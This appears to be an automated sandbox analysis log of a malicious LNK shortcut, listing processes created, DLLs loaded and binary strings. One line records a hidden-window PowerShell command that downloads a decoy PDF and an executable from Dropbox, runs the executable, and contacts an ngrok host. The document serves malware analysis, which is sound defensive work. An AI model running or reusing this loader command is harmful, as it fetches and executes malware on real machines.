Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6612 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd'; }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user~1\AppData\Local\Temp\53cf54c9-bd5a-44a9-afff-e5edd73e8d3d.pdf
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe "C:\Users\user~1\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1720,i,11746275802938358263,16647309410508739553,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Process created: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe "C:\Users\user~1\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe"
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Process created: C:\Windows\SysWOW64\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Section loaded: k7rn7l32.dll
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Section loaded: ntd3ll.dll
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: mswsock.dll

Source: C:\Windows\SysWOW64\fontdrvhost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: CNUXJvLcgw.lnk

LNK file: ..\..\..\..\Windows\System32\cmd.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: D:\Jenkins\workspace\ccd-app\main\native\win32\build\msvs_win32_x86\Release\x86\sym\AdobeUpdateService\AdobeUpdateService\AdobeUpdateService.pdb source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1673971806.000000000049E000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbHbPf source: powershell.exe, 00000016.00000002.1785132687.0000024CAA30B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000016.00000002.1784266322.0000024CAA297000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000016.00000002.1785789300.0000024CAA383000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857292037.0000000003050000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857401693.0000000004F70000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1863154029.0000000005210000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1863521668.0000000005330000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857686930.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857899388.0000000005110000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1864884400.0000000005430000.00000004.00000001.00020000.00000000.sdmp
